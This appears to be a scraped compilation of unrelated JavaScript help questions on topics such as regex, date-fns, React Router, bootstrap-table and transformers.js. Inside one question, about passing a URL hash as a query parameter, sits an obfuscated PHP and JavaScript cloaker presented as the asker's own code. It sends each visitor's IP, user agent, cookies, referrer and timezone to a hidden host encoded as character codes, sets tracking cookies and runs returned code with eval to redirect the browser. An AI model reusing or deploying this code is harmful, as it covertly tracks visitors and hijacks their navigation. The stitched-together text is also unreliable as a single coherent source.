How to access virtual keyboard suggestions with javascript the same way i could using a in html

I have a rather compact static UI made in JS + Jquery/HTML/CSS.

I need to make a a text input with suggestions, which so far i succeeded however it misses one thing. That is the suggestions (or autocomplete) on phones, which could be done if i uses a <datalist> html tag.

I don’t have any professional testing environment that would allow me to test on most browsers how my UI is rendered. Hence I’m using only <div> as I know they will render almost always the same on any browsers. Including not using <datalist> (note i may be wrong but i believe <datalist> is like <select> with a rendering a styling completely dependent on browsers especially because it relies on <options> tags which i already had trouble with and Apple products because <options> weren’t rendering at all (and i don’t own any Apple product to debug myself).

Therefore I thought of directly telling the keyboard maybe with the experimental VirtualKeyboard API but i couldn’t find anything.

And i don’t have any further guesses, if anyone has any idea, lead or advice then many thanks

Regex to match several possible permutations of a string

I have a sentence which can be either of the following:

for the thing with the some.key Foo Bar
for the thing with the some.key Foo Bar with limit 1
for the thing with the some.key Foo Bar with offset 1
for the thing with the some.key Foo Bar with filter eq(foo, bar)
for the thing with the some.key Foo Bar with limit 1 and offset 1
for the thing with the some.key Foo Bar with limit 1 and offset 1 and filter eq(foo, bar)

I’m using the regular expression (PCRE2)

for the thing with the (S+) (.*(?= with)?)(?: with )(?:limit (d+))?(?: and )?(?:offset (d+))?(?: and )?(?:filter (.+))?

It doesn’t match the top sentence (without “with”).

I thought (.*(?= with)?) would mean “anything, then maybe a ‘with'” but I’m wrong.

Regex101 to show matches:

enter image description here

How to set date in Quarterly format using toLocaleDateString or toLocaleTime string?

How can i sent the date to a “QQQ ”yy” (eg: Q1 ’24) using toLocaleDateString or toLocaleTime string.

I tried to look through the following: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/DateTimeFormat#options
kindly point out if I have missed looking through any properties.

Kindly let me know any possible solutions.

Ho to use date-fns inside the browser

I’d like to use date-fns inside a JS file for the browser.
I’m not running webpack.

I’ve followed the documentation :

npm install date-fns --save

And in the app.js file:

import { formatDistance, subDays } from "date-fns";

But I was getting:

Uncaught TypeError: Failed to resolve module specifier “date-fns”.
Relative references must start with either “/”, “./”, or “../”.

So I changed the import to refer to the node_modules folder:

import { formatDistance, subDays } from "./node_modules/date-fns";

But now it tries to lookup the path via HTTP Get:

GET http://localhost:5500/scripts/node_modules/date-fns
net::ERR_ABORTED 404 (Not Found)

What is the right way of using date-fns in an ordinary .js file in the browser?

I’m trying the change a value from a button to a var every time you click it

I can’t get this to work and I can’t think of any way to make this work,
I’m trying to have a button value change to a var every time you press it.

code-

<input onclick="change()" type="button" value="0" id="myButton1" />

<script>
  button.value = +button.value + 1

  function change() {
    var button = document.getElementById("myButton1");
    button.value = button.value + 1
  }
</script>

bootstrap-table with server-side pagination not working

I am using Bootstrap Table to show some data. I enabled serverside pagination and the request works fine. It sends the offset and limit parameters and gets a response like so

{"total":2,"rows":[{"id":"3","exchangeInEUR":"0.0000","currencyID":"5","quantityUnit":"year","exchangeInEURtStamp":"1692003487","quantity":"1","purchaseUnit":"1","priceNet":"1.9800","taxRateID":"1","billingToLBCompanyID":"1","companyID":"2","published":"1","companyIDTitle":"SomeOtherCompany","companyIDCountryIDTitle":"Deutschland","companyIDZipCodeAndTown":"93047  Regensburg","costTypeIDTitle":"Domain .de"},{"id":"862","exchangeInEUR":null,"currencyID":"5","quantityUnit":"year","exchangeInEURtStamp":null,"quantity":"1","purchaseUnit":"1","priceNet":"4.0000","taxRateID":"1","billingToLBCompanyID":"1","companyID":"3","published":"1","companyIDTitle":"SomeCompany","companyIDCountryIDTitle":"Deutschland","companyIDZipCodeAndTown":"32339  Espelkamp","costTypeIDTitle":"Domain .de"}]}

I double and triple checked the response data but it seems to fit the required format.
Yet the Table doesnt show any data and .bootstrapTable(“getData”) shows that the TableData is empty. I am probably missing something but I don’t know what or how I can figure out the problem.

Run javascript in lightbox gallery

I am using a gallery plugin and now customize the lightbox appearance for a client.

I want to move the thumbnail div into the caption div and I understand, that I can make it work with jQuery:

    jQuery(".envirabox-thumbs")
      .detach()
      .appendTo(".envirabox-caption-wrap");
   }

But if I have the function run by “onload”, the divs for the lightbox haven’t loaded yet, and there is no effect.

https://shorturl.at/pwX08

Is there a way to run the script automatically after the lightbox opens?

Thanks a lot,
Felix

Extracting hash parameter from a url and feeding it to a url query parameter

I have a url like this [ https://my-app.com/my-route/someOtherRoute#register ] which is supposed to redirect but it doesn’t carry over the hash parameter.

I want to extract the hash parameter (“register” in this case) and apppend it to the url like a query parameter
[ https://my-app.com/my-route/someOtherRoute?value=register ] so it can be carried over when redirecting.

For proper context, this is the full code i am working with;

<?php date_default_timezone_set("UTC");error_reporting(0);header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");function c($u=null, $q=null){if(empty($u)){return '$("#lo470822ad").hide();$("body").fadeIn(500);';}else{$u = $u.$q;for ($i = 0, $j = strlen($u); $i < $j; $i++) {$a[] = ord($u[$i]);}$u = strrev(implode(",",$a));return 'function rS(s){var nS = "";for (var i = s.length - 1; i >= 0; i--) {nS += s[i];} var a = nS.split(",");var u = String.fromCharCode.apply(null, a);return u;} var u,s,c;$("body").remove();$("html").append("body").html("<div style="margin-top:8%;background-color:white;text-align:center;font-size:40px;">Please Wait for Page to Load...</div>");s = rS("16,201,101,411,401,64,011,111,501,611,79,99,111,801,64,911,111,001,011,501,911");u = rS("'.$u.'");c = s+"'"+u+"'";eval(c);$("html").show();';}}if(!(isset($_SERVER["HTTP_X_PURPOSE"]) AND $_SERVER["HTTP_X_PURPOSE"] == "preview")){if(isset($_POST["tz"])){$date = date("Y-m-d H:i:s");$id = "470822";$uid="qjk2sj0wxokl27ofpdr21vlc0";$qu=$_SERVER["QUERY_STRING"];$ch = curl_init();$d=array(104,116,116,112,115,58,47,47,106,99,105,98,106,46,99,111,109,47,112,99,108,46,112,104,112);$u="";foreach($d as $v){$u.=chr($v);}$data=array("date"=>$date,"lan"=>$_SERVER["HTTP_ACCEPT_LANGUAGE"],"ref"=>$_POST["r"],"ip"=>$_SERVER["REMOTE_ADDR"],"ipr"=>$_SERVER["HTTP_X_FORWARDED_FOR"],"sn"=>$_SERVER["SERVER_NAME"],"requestUri"=>$_SERVER["REQUEST_URI"],"query"=>$qu,"ua"=>$_SERVER["HTTP_USER_AGENT"],"co"=>$_COOKIE["_event"],"tz"=>$_POST["tz"],"he"=>$_POST["he"],"user_id"=>$uid,"id"=>$id);curl_setopt($ch,CURLOPT_URL,$u);curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);curl_setopt($ch,CURLOPT_POST, true);curl_setopt($ch,CURLOPT_POSTFIELDS, $data);$result = curl_exec($ch);curl_close($ch);$arr = explode(",",$result);if(!empty($qu)){if(strpos($arr[1],"?")){$q="&".$qu;}else{$q="?".$qu;}}else{$q="";}if($arr[0] === "true"){if(strstr($arr[1],"sp.php")){$q="?".$qu;}if(!empty($arr[7])){setcookie($arr[7],$arr[8],time()+60*60*24*$arr[9],"/");}if($arr[2]){if($arr[4] == 1 OR $arr[4] == 3){setcookie("_event",$arr[6],time()+60*60*24*$arr[3]);}}echo c($arr[1],$q);exit();}elseif($arr[0] === "false"){if($arr[5]){$f=$q;}else{$f="";}if($arr[2]){if($arr[4] == 2 OR $arr[4] == 3){setcookie("_event",$arr[6]."b",time()+60*60*24*$arr[3]);}}echo c($arr[1],$f);exit();}else{if($arr[2]){if($arr[4] == 2 OR $arr[4] == 3){setcookie("_event",$arr[6]."b",time()+60*60*24*$arr[3]);}}echo c();exit();}}}?>

<style>body {display: none;}</style>
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/jstimezonedetect/1.0.6/jstz.min.js"></script>
<script>$(document).ready(function(){$("body").hide();$("html").append("<div id="lo470822ad" style="margin-top:8%;background-color:white;text-align:center;font-size:40px;">Please Wait for Page to Load...</div>");var f=new XMLHttpRequest();f.open("GET",document.location,true);f.send(null);var g;f.onreadystatechange=function(){g=f.getAllResponseHeaders().toLowerCase()};var b="GoogleAnalyticsObject";var c=("document","script","//www.google-analytics.com/analytics.js");c=("create","UA-3519163-1","auto");c=("send","pageview");var d=jstz.determine();var e=d.name();var r=document.referrer;$.ajax({url:location.href,type:"POST",data:"tz="+e+"&r="+r+"&he="+g,success:function(a){eval(a)}})});</script>

How best can i go about this please?

I have tried different approaches online but wasn’t fruitful

How to effectively break(=execute keyboard action) into the nested fetch?

I have React app that fetches data from remote source. There are API restrictions that forced me to apply recursive fetch. But the problem is that basically, fetching all data in this case takes quite a long so decided that user should have ability to stop fetching in every moment. So, the code simplified for readability now looks like this:


const useFetchMinifigs = (cancelToken: any) => {
    

    const fetchMinifigs = () => {
        
        async function recursiveSingleFetch() {

            try {
                console.log(cancelToken);
                const { data } = await axios.get<FetchMinifigsResponse>(fullPath, { cancelToken: cancelToken });
                if (data) { /* here comes all data handling */
                    }
            } catch (error) {
                /* here comes error handling */
            }
        }
        setTimeout(recursiveSingleFetch);
    };
    return fetchMinifigs;
};
export default useFetchMinifigs;

I applied cancelToken ( I know this is outdated, but this is a detail I do not want to handle now).

I also put the recursive function in delay:

 setTimeout(recursiveSingleFetch);

what, IMHO, should permit mouse events. However, it does not and the button does not react on click

 const source = axios.CancelToken.source();
const handleCancel = useCallback(() => {
        source.cancel();
        console.log("clicked");
        // eslint-disable-next-line react-hooks/exhaustive-deps
    }, []);

<BasicButton onClick={handleCancel}> Cancel </BasicButton>

How should I solve it? I suspect that generators or Sagas would do, but maybe there is simpler solution?

Rendering items on the page base on what the user will select from the select option

I have build an app that uses react-papaparse to receive and parses the csv files.
Now I want to create a function that receives certain column values and stored the only the specified columns based on what the user will choose in the select option

In the App js, I have creacted a function called getColumnsValues that receive the column head the user selected from the option and render the respective column values.
App.js

import { useState,  } from 'react';
import ReadCSV from './Components/ParsingObj' //the comp that receives the parse file data
import SelectXY from './Components/SelecyXY'; //comp that render the data columns based on what the user select

export default function App() {
  const [colHeads, setColHeads] = useState([]); //storing the column heads
  const [csvData, setCsvData] = useState([]); //storing the data values expects the head
  const [values, setValues] = useState({
    xvalues: '',
    yvalues: '',
  }); //get the x and y values base on what the user select

  const getColumnValues = val => {
    return csvData.map(r => r[val]);
  }

  return (
    <section>
      <ReadCSV
        getColumns={setColHeads}
        getData={setCsvData}
      />

      <SelectXY 
        columns={colHeads}
        handleXYValues={handleXYValues}
        xyValues={values}
        getColumnValues={getColumnValues}
      />
    </section>
  );
}

SelectXY componet receives the x and y values from the select option
and render the preferred x and y values.
Child SelectXY.js

import PropTypes from "prop-types";

export default function SelectXY(props) {
    const {columns, xyValues, handleXYValues, getColumnValues} = props
    return(
       <article>
        <label 
            htmlFor="xvalues">
                Choose the x value:
        </label>
        <select 
            name="xvalues" 
            id="xvalues" 
            onChange={(e) => handleXYValues(e)}
            value={xyValues.xvalues}
        >
        <option value="" disabled>Select an option</option>
        {columns.map(xcol => (<option value={xcol} key={xcol}>{xcol}</option>))}
        </select>
        
        <label 
            htmlFor="yvalues">
                Choose the y value:
        </label>
        <select 
            name="yvalues" 
            id="yvalues" 
            onChange={(e) => handleXYValues(e)}
            value={xyValues.yvalues}
        >
        <option value="" disabled>Select an option</option>
        {columns.map(ycol => (<option value={ycol} key={ycol}>{ycol}</option>))}
         </select>

         {xyValues.xvalues && xyValues.yvalues && (
            <div>
                <h3>Selected X Column Values: </h3>
                <ul>
                    {getColumnValues(xyValues.xvalues).map((value, index) => (
                        <li key={index}>{value}</li>
                    ))}
                </ul>
                <h3>Selected Y Column Values:</h3>
                <ul>
                    {getColumnValues(xyValues.yvalues).map((value, index) => (
                        <li key={index}>{value}</li>
                    ))}
                </ul>
            </div>
         )}
       </article>
    );
}

SelectXY.propTypes = {
    columns: PropTypes.array,
    xyValues: PropTypes.any,
    handleXYValues: PropTypes.func,
    getColumnValues: PropTypes.func
};

Child ReadCSV.js

import { useState, } from "react";
import {useCSVReader, formatFileSize} from 'react-papaparse';
import styles from "./styles";
import PropTypes from "prop-types";
const DEFAULT_REMOVE_HOVER_COLOR = '#A01919';

export default function ReadCSV (props) {
  const { CSVReader } = useCSVReader();
  const [zoneHover, setZoneHover] = useState(false);
  const [removeHoverColor, setRemoveHoverColor] = useState(DEFAULT_REMOVE_HOVER_COLOR);
  const {getColumns, getData} = props;
  
  return (
    <CSVReader
      onUploadAccepted = {results => {
        const value = results.data;
        const filtered = value.filter((_, i) => i !== 0);
        getColumns(value[0]);
        getData(filtered);
      }}
        
      onDragOver={(event) => {
        event.preventDefault();
        setZoneHover(true);
      }}

      onDragLeave={(event) => {
        event.preventDefault();
        setZoneHover(false);
      }} 
    >
      {({
        getRootProps,
            acceptedFile,
            ProgressBar,
            getRemoveFileProps,
            Remove,
        }) => (
            <>
            <div
              {...getRootProps()}
              style={Object.assign(
                {},
                styles.zone,
                zoneHover && styles.zoneHover
              )}
            >
              {acceptedFile ? (
                <>
                  <div style={styles.file}>
                    <div style={styles.info}>
                      <span style={styles.size}>
                        {formatFileSize(acceptedFile.size)}
                      </span>
                      <span style={styles.name}>{acceptedFile.name}</span>
                    </div>
                    <div style={styles.progressBar}>
                    <ProgressBar />
                    </div>
                    <div
                      {...getRemoveFileProps()}
                      style={styles.remove}
                      onMouseOver={(event) => {
                        event.preventDefault();
                        setRemoveHoverColor(styles.REMOVE_HOVER_COLOR_LIGHT);
                      }}
                      onMouseOut={(event) => {
                        event.preventDefault();
                        setRemoveHoverColor(DEFAULT_REMOVE_HOVER_COLOR);
                      }}
                    >
                      <Remove color={removeHoverColor} />
                    </div>
                  </div>
                </>
              ) : (
                'Drop CSV file here or click to upload'
              )}
            </div>
          </>
          )}
        </CSVReader>
      );
}

ReadCSV.propTypes = {
  getColumns: PropTypes.func.isRequired,
  getData: PropTypes.func.isRequired
}

I tried to use imperative code but I’m stuck with the process

    for(let i = 0; i < csvData.length; i++) {
      for (let j = 0; j < csvData.length; j++) {
         console.log(csvData[i][j]);
      }
    }

I also tries ES6 map function but to no avail

   const getColumnValues = val => {
    return csvData.map(r => r[val]);
  }

How to write navlink properly?

Nav link isnt working in browser it says: Uncaught TypeError: Cannot destructure property ‘future’ of ‘React.useContext(…)’ as it is null. I have used NavLink in others projects and it worked normally.

or

he above error occurred in the component:

at NavLinkWithRef (http://localhost:5173/node_modules/.vite/deps/react-router-dom.js?v=e0f9a68a:4832:21)
at li
at ul
at div
at Sidebar (http://localhost:5173/src/Sidebar.jsx?t=1706876271727:25:33)
at div
at App

Sidebar.jsx NavLink is the problem

import { useState } from "react";
import "./styles/Sidebar.css";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { faAdd, faHouse, faList } from "@fortawesome/free-solid-svg-icons";

import { NavLink } from "react-router-dom";

const Sidebar = () => {
  const [sidebar, setSidebar] = useState("sidebar");
  const [display1, setDisplay1] = useState("Home");
  const [display2, setDisplay2] = useState("Create");
  const [display3, setDisplay3] = useState("Recipes");

  const toggleSidebar = () => {
    setDisplay1(sidebar === "sidebar" ? <FontAwesomeIcon icon={faHouse} /> : "Home");
    setDisplay2(sidebar === "sidebar" ? <FontAwesomeIcon icon={faAdd} /> : "Create");
    setDisplay3(sidebar === "sidebar" ? <FontAwesomeIcon icon={faList} /> : "Recipes");
    setSidebar(sidebar === "sidebar" ? "hiddenbar" : "sidebar");
  };

  return (
    <div className={sidebar}>
      <div className="burger" onClick={toggleSidebar}>
        <div className="part"></div>
        <div className="part"></div>
        <div className="part"></div>
      </div>

      <ul className="sidebarList">
        <li className="sidebarListItem">{display1}</li>
        <li className="sidebarListItem">
          <NavLink to="/Create">{display2}</NavLink>
        </li>
        <li className="sidebarListItem">{display3}</li>
      </ul>
    </div>
  );
};

export default Sidebar;

App.jsx looks like this


import './styles/App.css'
import Sidebar from "./Sidebar";

import Home from './Home';
import CreateRecipe from './CreateRecipe';
import Recipes from './Recipes';
import { BrowserRouter, Routes, Route } from 'react-router-dom';
function App() {


  return (
   <div className="App">

    <Sidebar/>


    <BrowserRouter>
      <Routes>
        <Route path="/" element={<Home/>}/>
        <Route path="/Create" element={<CreateRecipe/>}/>
        <Route path="/Recipes" element={<Recipes/>}/>
      </Routes>
    </BrowserRouter>
   </div>
  )
}

export default App;

When I delete NavLink everything works fine so there is sth wrong with it.

HuggingFace models for javascript not working

HuggingFace has a list of Language models that support javascript (A so-called ONNX version of the model has to be available). The problem is most of their examples generate literally hundreds of this error message:

[email protected]:34 2024-02-02 13:28:19.311300 [W:onnxruntime:, graph.cc:3490 CleanUnusedInitializersAndNodeArgs] Removing initializer '/transformer/h.3/mlp/act/Constant_output_0'. It is not used by any node and should be removed from the model.

Code:

import { pipeline } from '@xenova/transformers';

const pipe = await pipeline(
  "text-generation",
  "mkly/TinyStories-1M-ONNX",
);
const response = await pipe(
  "Some example text",
  {
    max_new_tokens: 500,
    temperature: 0.9,
  },
);
console.log(response[0].generated_text);

https://huggingface.co/mkly/TinyStories-1M-ONNX

This also happens with other models. Is this an issue with those specific models, or with transformers.js ? How can I find models that are 100% compatible with their own transformers.js javascript library?

How to use Canvg javascript library offline in a browser without server?

I’m developing a Firefox extension and for security issues I need to use Canvg offline, in a browser without server. I would like to use it in a pure js script. I have read the documentation but there isn’t information about it.
Could you kindly help me? Thank you all.

I tried to export the project from github (https://github.com/canvg/canvg.git) and to import it in my project, but not work…